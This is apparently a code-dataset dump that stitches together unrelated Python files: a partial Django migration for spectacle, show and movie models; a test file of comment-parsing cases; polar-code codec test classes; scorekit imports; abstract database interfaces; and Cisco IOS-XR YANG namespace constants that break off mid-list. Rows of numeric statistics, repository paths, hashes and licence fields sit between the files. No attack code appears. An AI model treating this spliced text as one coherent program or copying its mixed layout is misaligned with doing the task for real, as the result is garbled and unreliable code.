('classification', models.CharField(choices=[('LIVRE', 'Livre'), ('10ANOS', '10 Anos'), ('12ANOS', '12 Anos'), ('14ANOS', '14 Anos'), ('16ANOS', '16 Anos'), ('MAIORES18', 'Maiores de 18 Anos')], default='LIVRE', help_text='Classificação Indicativa do Espetáculo', max_length=20, verbose_name='Classificação Indicativa')),
('spectacle_type', models.CharField(choices=[('FILME', 'Filme'), ('SHOW', 'Show'), ('PECA', 'Peça Teatral'), ('NA', 'N/A')], default='NA', help_text='Tipo do Espetáculo', max_length=15, verbose_name='Tipo do Espetáculo')),
('band', models.CharField(default='', help_text='Nome da(o) Banda/Artista', max_length=255, verbose_name='Banda/Artista')),
('tour', models.CharField(default='', help_text='Nome da Turnê', max_length=255, verbose_name='Turnê')),
('description', models.TextField(default='', help_text='Descrição do Show', max_length=500, verbose_name='Descrição do Show')),
],
options={
'verbose_name': 'Show',
'verbose_name_plural': 'Shows',
},
),
migrations.CreateModel(
name='Spectacle',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(default='', help_text='Nome da Espetáculo', max_length=100, verbose_name='Nome')),
('status', models.CharField(choices=[('PREESTREIA', 'Pré-Estréia'), ('EMCARTAZ', 'Em Cartaz'), ('LANCAMENTO', 'Lançamento'), ('FORACARTAZ', 'Fora de Cartaz'), ('EMBREVE', 'Em Breve')], default='EMBREVE', help_text='Status do Espetáculo', max_length=15, verbose_name='Status do Espetáculo')),
('poster', models.ImageField(blank=True, help_text='Poster do Espetáculo', max_length=500, null=True, upload_to='media/', verbose_name='Poster')),
('duration', models.PositiveIntegerField(default=0, help_text='Duração do Espetáculo em minutos', verbose_name='Duração')),
('classification', models.CharField(choices=[('LIVRE', 'Livre'), ('10ANOS', '10 Anos'), ('12ANOS', '12 Anos'), ('14ANOS', '14 Anos'), ('16ANOS', '16 Anos'), ('MAIORES18', 'Maiores de 18 Anos')], default='LIVRE', help_text='Classificação Indicativa do Espetáculo', max_length=20, verbose_name='Classificação Indicativa')),
('spectacle_type', models.CharField(choices=[('FILME', 'Filme'), ('SHOW', 'Show'), ('PECA', 'Peça Teatral'), ('NA', 'N/A')], default='NA', help_text='Tipo do Espetáculo', max_length=15, verbose_name='Tipo do Espetáculo')),
],
options={
'verbose_name': 'Espetáculo',
'verbose_name_plural': 'Espetáculos',
},
),
migrations.AddField(
model_name='show',
name='spectacle',
field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='spectacle.Spectacle'),
),
migrations.AddField(
model_name='play',
name='spectacle',
field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='spectacle.Spectacle'),
),
migrations.AddField(
model_name='movie',
name='spectacle',
field=models.ForeignKey(on_delete=django.db.models.deletion.PROTECT, to='spectacle.Spectacle'),
),
]
| 92.054054 | 430 | 0.622529 | 1,114 | 10,218 | 5.571813 | 0.152603 | 0.092154 | 0.061221 | 0.054132 | 0.823425 | 0.795553 | 0.788465 | 0.742549 | 0.71226 | 0.71226 | 0 | 0.023391 | 0.192503 | 10,218 | 110 | 431 | 92.890909 | 0.728881 | 0.004404 | 0 | 0.582524 | 1 | 0 | 0.321404 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.019417 | 0 | 0.058252 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a650dca0edb1809f84d8e0a775d9da353819cafd | 708 | py | Python | test/code.py | shinryu317/locmeasure | 2629d62db71cce485b44df48a080aaa2d31fcbc9 | [
"MIT"
] | null | null | null | test/code.py | shinryu317/locmeasure | 2629d62db71cce485b44df48a080aaa2d31fcbc9 | [
"MIT"
] | null | null | null | test/code.py | shinryu317/locmeasure | 2629d62db71cce485b44df48a080aaa2d31fcbc9 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
def main():
# multi line comment
'''multi line comment'''
'''multi line coment
'''
'''
multi line comment'''
'''
multi line coment
'''
'''''''''multi line comment
'''
'''''''''
multi line comment'''
'''''''''
multi line comment
'''
'''multi line comment''''''multi line comment'''
# Not multi line comment
_ = '''not multi line comment'''
_ = '''not multi line comment
'''
_ = '''
not multi line comment'''
_ = '''
not multi line comment
'''
_ = '''
not multi line comment
'''
pass
if __name__ == '__main__':
# single line comment
main()
| 13.358491 | 52 | 0.475989 | 67 | 708 | 4.835821 | 0.208955 | 0.444444 | 0.691358 | 0.453704 | 0.839506 | 0.839506 | 0.839506 | 0.839506 | 0.790123 | 0.790123 | 0 | 0.002146 | 0.341808 | 708 | 52 | 53 | 13.615385 | 0.693133 | 0.14548 | 0 | 0.521739 | 0 | 0 | 0.521552 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.043478 | false | 0.043478 | 0 | 0 | 0.043478 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
a6865dfc9f0168a3345eb539520161561c8b5ad1 | 5,434 | py | Python | tests/test_g_fast_scan/test_codec.py | MingxuZhang/python-polar-coding | bfab8e1cdcffaefea8e6d0209b13465fbd7fa936 | [
"MIT"
] | 2 | 2021-12-07T09:52:15.000Z | 2022-01-06T14:35:37.000Z | tests/test_g_fast_scan/test_codec.py | manhduc1811/python-polar-coding | bfab8e1cdcffaefea8e6d0209b13465fbd7fa936 | [
"MIT"
] | null | null | null | tests/test_g_fast_scan/test_codec.py | manhduc1811/python-polar-coding | bfab8e1cdcffaefea8e6d0209b13465fbd7fa936 | [
"MIT"
] | 4 | 2020-07-03T14:20:04.000Z | 2021-07-04T13:20:40.000Z | from unittest import TestCase
from python_polar_coding.polar_codes.g_fast_scan import GFastSCANCodec
from tests.base import BasicVerifyPolarCode
# Iterations 2
class TestGFastSCANCodec_1024_512_iter_2_AF_0(BasicVerifyPolarCode, TestCase):
polar_code_class = GFastSCANCodec
code_parameters = {
'N': 1024,
'K': 512,
'I': 2,
'AF': 0,
}
class TestGFastSCANCodec_1024_512_iter_2_AF_1(BasicVerifyPolarCode, TestCase):
polar_code_class = GFastSCANCodec
code_parameters = {
'N': 1024,
'K': 512,
'I': 2,
'AF': 1,
}
class TestGFastSCANCodec_1024_512_iter_2_AF_2(BasicVerifyPolarCode, TestCase):
polar_code_class = GFastSCANCodec
code_parameters = {
'N': 1024,
'K': 512,
'I': 2,
'AF': 2,
}
class TestGFastSCANCodec_1024_512_iter_2_AF_3(BasicVerifyPolarCode, TestCase):
polar_code_class = GFastSCANCodec
code_parameters = {
'N': 1024,
'K': 512,
'I': 2,
'AF': 3,
}
class TestGFastSCANCodec_1024_256_iter_2_AF_0(BasicVerifyPolarCode, TestCase):
polar_code_class = GFastSCANCodec
code_parameters = {
'N': 1024,
'K': 256,
'I': 2,
'AF': 0,
}
class TestGFastSCANCodec_1024_256_iter_2_AF_1(BasicVerifyPolarCode, TestCase):
polar_code_class = GFastSCANCodec
code_parameters = {
'N': 1024,
'K': 256,
'I': 2,
'AF': 1,
}
class TestGFastSCANCodec_1024_256_iter_2_AF_2(BasicVerifyPolarCode, TestCase):
polar_code_class = GFastSCANCodec
code_parameters = {
'N': 1024,
'K': 256,
'I': 2,
'AF': 2,
}
class TestGFastSCANCodec_1024_256_iter_2_AF_3(BasicVerifyPolarCode, TestCase):
polar_code_class = GFastSCANCodec
code_parameters = {
'N': 1024,
'K': 256,
'I': 2,
'AF': 3,
}
class TestGFastSCANCodec_1024_768_iter_2_AF_0(BasicVerifyPolarCode, TestCase):
polar_code_class = GFastSCANCodec
code_parameters = {
'N': 1024,
'K': 768,
'I': 2,
'AF': 0,
}
class TestGFastSCANCodec_1024_768_iter_2_AF_1(BasicVerifyPolarCode, TestCase):
polar_code_class = GFastSCANCodec
code_parameters = {
'N': 1024,
'K': 768,
'I': 2,
'AF': 1,
}
class TestGFastSCANCodec_1024_768_iter_2_AF_2(BasicVerifyPolarCode, TestCase):
polar_code_class = GFastSCANCodec
code_parameters = {
'N': 1024,
'K': 768,
'I': 2,
'AF': 2,
}
class TestGFastSCANCodec_1024_768_iter_2_AF_3(BasicVerifyPolarCode, TestCase):
polar_code_class = GFastSCANCodec
code_parameters = {
'N': 1024,
'K': 768,
'I': 2,
'AF': 3,
}
# Iterations 4
class TestGFastSCANCodec_1024_512_iter_4_AF_0(BasicVerifyPolarCode, TestCase):
polar_code_class = GFastSCANCodec
code_parameters = {
'N': 1024,
'K': 512,
'I': 4,
'AF': 0,
}
class TestGFastSCANCodec_1024_512_iter_4_AF_1(BasicVerifyPolarCode, TestCase):
polar_code_class = GFastSCANCodec
code_parameters = {
'N': 1024,
'K': 512,
'I': 4,
'AF': 1,
}
class TestGFastSCANCodec_1024_512_iter_4_AF_2(BasicVerifyPolarCode, TestCase):
polar_code_class = GFastSCANCodec
code_parameters = {
'N': 1024,
'K': 512,
'I': 4,
'AF': 2,
}
class TestGFastSCANCodec_1024_512_iter_4_AF_3(BasicVerifyPolarCode, TestCase):
polar_code_class = GFastSCANCodec
code_parameters = {
'N': 1024,
'K': 512,
'I': 4,
'AF': 3,
}
class TestGFastSCANCodec_1024_256_iter_4_AF_0(BasicVerifyPolarCode, TestCase):
polar_code_class = GFastSCANCodec
code_parameters = {
'N': 1024,
'K': 256,
'I': 4,
'AF': 0,
}
class TestGFastSCANCodec_1024_256_iter_4_AF_1(BasicVerifyPolarCode, TestCase):
polar_code_class = GFastSCANCodec
code_parameters = {
'N': 1024,
'K': 256,
'I': 4,
'AF': 1,
}
class TestGFastSCANCodec_1024_256_iter_4_AF_2(BasicVerifyPolarCode, TestCase):
polar_code_class = GFastSCANCodec
code_parameters = {
'N': 1024,
'K': 256,
'I': 4,
'AF': 2,
}
class TestGFastSCANCodec_1024_256_iter_4_AF_3(BasicVerifyPolarCode, TestCase):
polar_code_class = GFastSCANCodec
code_parameters = {
'N': 1024,
'K': 256,
'I': 4,
'AF': 3,
}
class TestGFastSCANCodec_1024_768_iter_4_AF_0(BasicVerifyPolarCode, TestCase):
polar_code_class = GFastSCANCodec
code_parameters = {
'N': 1024,
'K': 768,
'I': 4,
'AF': 0,
}
class TestGFastSCANCodec_1024_768_iter_4_AF_1(BasicVerifyPolarCode, TestCase):
polar_code_class = GFastSCANCodec
code_parameters = {
'N': 1024,
'K': 768,
'I': 4,
'AF': 1,
}
class TestGFastSCANCodec_1024_768_iter_4_AF_2(BasicVerifyPolarCode, TestCase):
polar_code_class = GFastSCANCodec
code_parameters = {
'N': 1024,
'K': 768,
'I': 4,
'AF': 2,
}
class TestGFastSCANCodec_1024_768_iter_4_AF_3(BasicVerifyPolarCode, TestCase):
polar_code_class = GFastSCANCodec
code_parameters = {
'N': 1024,
'K': 768,
'I': 4,
'AF': 3,
} | 21.823293 | 78 | 0.606551 | 600 | 5,434 | 5.125 | 0.056667 | 0.179512 | 0.210732 | 0.28878 | 0.95187 | 0.95187 | 0.95187 | 0.730407 | 0.710244 | 0.710244 | 0 | 0.111942 | 0.286529 | 5,434 | 249 | 79 | 21.823293 | 0.681197 | 0.004601 | 0 | 0.738462 | 0 | 0 | 0.022193 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.015385 | 0 | 0.384615 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
470d2def60b6ba47bab26ffa51e6071379b513ee | 499 | py | Python | scorekit/processor/__init__.py | la-foca/score-kit | 4e22781970c7354fcc878944ab4b2dc9b405f8e1 | [
"BSD-3-Clause"
] | 3 | 2020-04-17T13:24:44.000Z | 2020-04-25T16:14:17.000Z | scorekit/processor/__init__.py | la-foca/score-kit | 4e22781970c7354fcc878944ab4b2dc9b405f8e1 | [
"BSD-3-Clause"
] | null | null | null | scorekit/processor/__init__.py | la-foca/score-kit | 4e22781970c7354fcc878944ab4b2dc9b405f8e1 | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
from .base import MissingProcessor, StabilityAnalyzer, DataVisualizer, TargetTrendVisualizer, CorrelationAnalyzer, VIF, FeatureEncoder, GiniChecker, BusinessLogicChecker, WOEOrderChecker, WaldBSChecker, FullnessAnalyzer
__all__ = ['MissingProcessor', 'StabilityAnalyzer', 'DataVisualizer', 'TargetTrendVisualizer', 'CorrelationAnalyzer', 'VIF', 'FeatureEncoder', 'GiniChecker',
'BusinessLogicChecker', 'WOEOrderChecker', 'WaldBSChecker', 'FullnessAnalyzer'] | 83.166667 | 220 | 0.779559 | 31 | 499 | 12.419355 | 0.612903 | 0.171429 | 0.244156 | 0.353247 | 0.92987 | 0.92987 | 0.92987 | 0.92987 | 0.92987 | 0.92987 | 0 | 0.002232 | 0.102204 | 499 | 6 | 221 | 83.166667 | 0.857143 | 0.042084 | 0 | 0 | 0 | 0 | 0.379237 | 0.044492 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 0 | 0 | 1 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 11 |
5b2501cd8ececd02e8bc2375ef8349c019686a05 | 120 | py | Python | app/test.py | bosichong/BabyLog | b069e2cebf5bcc30406d4a7beede4703474b4aed | [
"Apache-2.0"
] | 2 | 2021-05-13T09:30:04.000Z | 2022-03-30T15:28:15.000Z | app/test.py | bosichong/BabyLog | b069e2cebf5bcc30406d4a7beede4703474b4aed | [
"Apache-2.0"
] | null | null | null | app/test.py | bosichong/BabyLog | b069e2cebf5bcc30406d4a7beede4703474b4aed | [
"Apache-2.0"
] | 1 | 2022-03-30T15:28:17.000Z | 2022-03-30T15:28:17.000Z | # from werkzeug.security import generate_password_hash, check_password_hash
# print(generate_password_hash('阿斯蒂芬斯蒂芬'))
| 30 | 75 | 0.841667 | 15 | 120 | 6.333333 | 0.666667 | 0.378947 | 0.421053 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.075 | 120 | 3 | 76 | 40 | 0.855856 | 0.95 | 0 | null | 1 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
5b27029cc8044875461359e834a7819abbc35a0a | 1,198 | py | Python | src/pandalchemy/interfaces.py | Dogeek/pandalchemy | deb971e583192c3d5a341d67b801cf3cd92156ff | [
"MIT"
] | null | null | null | src/pandalchemy/interfaces.py | Dogeek/pandalchemy | deb971e583192c3d5a341d67b801cf3cd92156ff | [
"MIT"
] | null | null | null | src/pandalchemy/interfaces.py | Dogeek/pandalchemy | deb971e583192c3d5a341d67b801cf3cd92156ff | [
"MIT"
] | null | null | null | import abc
class IDataBase(metaclass=abc.ABCMeta):
@abc.abstractmethod
def __init__(self, engine):
raise NotImplementedError
@abc.abstractmethod
def __getitem__(self, key):
raise NotImplementedError
@abc.abstractmethod
def __setitem__(self, key, value):
raise NotImplementedError
@abc.abstractmethod
def __len__(self):
raise NotImplementedError
@abc.abstractmethod
def table_names(self):
raise NotImplementedError
@abc.abstractmethod
def pull(self):
raise NotImplementedError
class ITable(metaclass=abc.ABCMeta):
@abc.abstractmethod
def __init__(self, name, data, key, f_keys=[], types=dict()):
raise NotImplementedError
@abc.abstractmethod
def __len__(self):
raise NotImplementedError
@abc.abstractmethod
def __setitem__(self, key, value):
raise NotImplementedError
@abc.abstractproperty
def column_names(self):
raise NotImplementedError
@abc.abstractmethod
def __getitem__(self, key):
raise NotImplementedError
@abc.abstractmethod
def drop(self, *args, **kwargs):
raise NotImplementedError
| 22.185185 | 65 | 0.683639 | 114 | 1,198 | 6.877193 | 0.289474 | 0.367347 | 0.280612 | 0.470663 | 0.784439 | 0.784439 | 0.784439 | 0.705357 | 0.585459 | 0.585459 | 0 | 0 | 0.238731 | 1,198 | 53 | 66 | 22.603774 | 0.859649 | 0 | 0 | 0.74359 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.307692 | false | 0 | 0.025641 | 0 | 0.384615 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
5b46dd088056e3aec6fe2c4fd3f7bb0d222e9050 | 169,542 | py | Python | cisco-ios-xr/ydk/models/cisco_ios_xr/_yang_ns.py | tkamata-test/ydk-py | b637e7853a8edbbd31fbc05afa3aa4110b31c5f9 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | cisco-ios-xr/ydk/models/cisco_ios_xr/_yang_ns.py | tkamata-test/ydk-py | b637e7853a8edbbd31fbc05afa3aa4110b31c5f9 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | cisco-ios-xr/ydk/models/cisco_ios_xr/_yang_ns.py | tkamata-test/ydk-py | b637e7853a8edbbd31fbc05afa3aa4110b31c5f9 | [
"ECL-2.0",
"Apache-2.0"
] | null | null | null | _global_Cisco_IOS_XR_Ethernet_SPAN_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-Ethernet-SPAN-cfg'
_global_Cisco_IOS_XR_Ethernet_SPAN_datatypes_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-Ethernet-SPAN-datatypes'
_global_Cisco_IOS_XR_Ethernet_SPAN_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-Ethernet-SPAN-oper'
_global_Cisco_IOS_XR_Ethernet_SPAN_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-Ethernet-SPAN-oper'
_global_Cisco_IOS_XR_Ethernet_SPAN_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-Ethernet-SPAN-oper'
_global_Cisco_IOS_XR_Ethernet_SPAN_oper_sub3_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-Ethernet-SPAN-oper'
_global_Cisco_IOS_XR_Ethernet_SPAN_subscriber_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-Ethernet-SPAN-subscriber-cfg'
_global_Cisco_IOS_XR_aaa_lib_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-aaa-lib-cfg'
_global_Cisco_IOS_XR_aaa_locald_admin_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-aaa-locald-admin-cfg'
_global_Cisco_IOS_XR_aaa_locald_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-aaa-locald-cfg'
_global_Cisco_IOS_XR_aaa_locald_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-aaa-locald-oper'
_global_Cisco_IOS_XR_aaa_locald_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-aaa-locald-oper'
_global_Cisco_IOS_XR_aaa_protocol_radius_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-aaa-protocol-radius-cfg'
_global_Cisco_IOS_XR_aaa_protocol_radius_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-aaa-protocol-radius-oper'
_global_Cisco_IOS_XR_aaa_protocol_radius_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-aaa-protocol-radius-oper'
_global_Cisco_IOS_XR_aaa_protocol_radius_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-aaa-protocol-radius-oper'
_global_Cisco_IOS_XR_aaa_tacacs_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-aaa-tacacs-cfg'
_global_Cisco_IOS_XR_aaa_tacacs_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-aaa-tacacs-oper'
_global_Cisco_IOS_XR_aaa_tacacs_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-aaa-tacacs-oper'
_global_Cisco_IOS_XR_alarmgr_server_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-alarmgr-server-oper'
_global_Cisco_IOS_XR_alarmgr_server_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-alarmgr-server-oper'
_global_Cisco_IOS_XR_asic_errors_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-asic-errors-oper'
_global_Cisco_IOS_XR_asic_errors_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-asic-errors-oper'
_global_Cisco_IOS_XR_asic_errors_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-asic-errors-oper'
_global_Cisco_IOS_XR_asr9k_asic_errors_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-asic-errors-oper'
_global_Cisco_IOS_XR_asr9k_asic_errors_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-asic-errors-oper'
_global_Cisco_IOS_XR_asr9k_fsi_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-fsi-oper'
_global_Cisco_IOS_XR_asr9k_fsi_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-fsi-oper'
_global_Cisco_IOS_XR_asr9k_lpts_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-lpts-oper'
_global_Cisco_IOS_XR_asr9k_lpts_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-lpts-oper'
_global_Cisco_IOS_XR_asr9k_netflow_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-netflow-oper'
_global_Cisco_IOS_XR_asr9k_netflow_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-netflow-oper'
_global_Cisco_IOS_XR_asr9k_netflow_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-netflow-oper'
_global_Cisco_IOS_XR_asr9k_netflow_oper_sub3_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-netflow-oper'
_global_Cisco_IOS_XR_asr9k_netflow_oper_sub4_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-netflow-oper'
_global_Cisco_IOS_XR_asr9k_netflow_oper_sub5_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-netflow-oper'
_global_Cisco_IOS_XR_asr9k_np_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-np-oper'
_global_Cisco_IOS_XR_asr9k_np_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-np-oper'
_global_Cisco_IOS_XR_asr9k_prm_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-prm-cfg'
_global_Cisco_IOS_XR_asr9k_qos_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-qos-oper'
_global_Cisco_IOS_XR_asr9k_qos_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-qos-oper'
_global_Cisco_IOS_XR_asr9k_qos_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-qos-oper'
_global_Cisco_IOS_XR_asr9k_sc_envmon_admin_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-sc-envmon-admin-oper'
_global_Cisco_IOS_XR_asr9k_sc_envmon_admin_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-sc-envmon-admin-oper'
_global_Cisco_IOS_XR_asr9k_sc_envmon_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-sc-envmon-oper'
_global_Cisco_IOS_XR_asr9k_sc_envmon_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-sc-envmon-oper'
_global_Cisco_IOS_XR_asr9k_sc_invmgr_admin_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-sc-invmgr-admin-oper'
_global_Cisco_IOS_XR_asr9k_sc_invmgr_admin_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-sc-invmgr-admin-oper'
_global_Cisco_IOS_XR_asr9k_sc_invmgr_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-sc-invmgr-oper'
_global_Cisco_IOS_XR_asr9k_sc_invmgr_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-asr9k-sc-invmgr-oper'
_global_Cisco_IOS_XR_atm_common_datatypes_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-atm-common-datatypes'
_global_Cisco_IOS_XR_atm_vcm_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-atm-vcm-cfg'
_global_Cisco_IOS_XR_atm_vcm_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-atm-vcm-oper'
_global_Cisco_IOS_XR_atm_vcm_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-atm-vcm-oper'
_global_Cisco_IOS_XR_atm_vcm_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-atm-vcm-oper'
_global_Cisco_IOS_XR_atm_vcm_oper_sub3_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-atm-vcm-oper'
_global_Cisco_IOS_XR_atm_vcm_oper_sub4_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-atm-vcm-oper'
_global_Cisco_IOS_XR_bundlemgr_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-bundlemgr-cfg'
_global_Cisco_IOS_XR_bundlemgr_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-bundlemgr-oper'
_global_Cisco_IOS_XR_bundlemgr_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-bundlemgr-oper'
_global_Cisco_IOS_XR_bundlemgr_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-bundlemgr-oper'
_global_Cisco_IOS_XR_cdp_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-cdp-cfg'
_global_Cisco_IOS_XR_cdp_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-cdp-oper'
_global_Cisco_IOS_XR_cdp_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-cdp-oper'
_global_Cisco_IOS_XR_cfgmgr_rollback_act_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-cfgmgr-rollback-act'
_global_Cisco_IOS_XR_clns_isis_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-clns-isis-cfg'
_global_Cisco_IOS_XR_clns_isis_datatypes_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-clns-isis-datatypes'
_global_Cisco_IOS_XR_clns_isis_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-clns-isis-oper'
_global_Cisco_IOS_XR_clns_isis_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-clns-isis-oper'
_global_Cisco_IOS_XR_clns_isis_oper_sub2_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-clns-isis-oper'
_global_Cisco_IOS_XR_cmproxy_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-cmproxy-oper'
_global_Cisco_IOS_XR_cmproxy_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-cmproxy-oper'
_global_Cisco_IOS_XR_common_acl_datatypes_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-common-acl-datatypes'
_global_Cisco_IOS_XR_config_cfgmgr_exec_oper_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-config-cfgmgr-exec-oper'
_global_Cisco_IOS_XR_config_cfgmgr_exec_oper_sub1_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-config-cfgmgr-exec-oper'
_global_Cisco_IOS_XR_config_mda_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-config-mda-cfg'
_global_Cisco_IOS_XR_config_mibs_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-config-mibs-cfg'
_global_Cisco_IOS_XR_controller_optics_cfg_nsp = 'http://cisco.com/ns/yang/Cisco-IOS-XR-controller-optics-cfg'
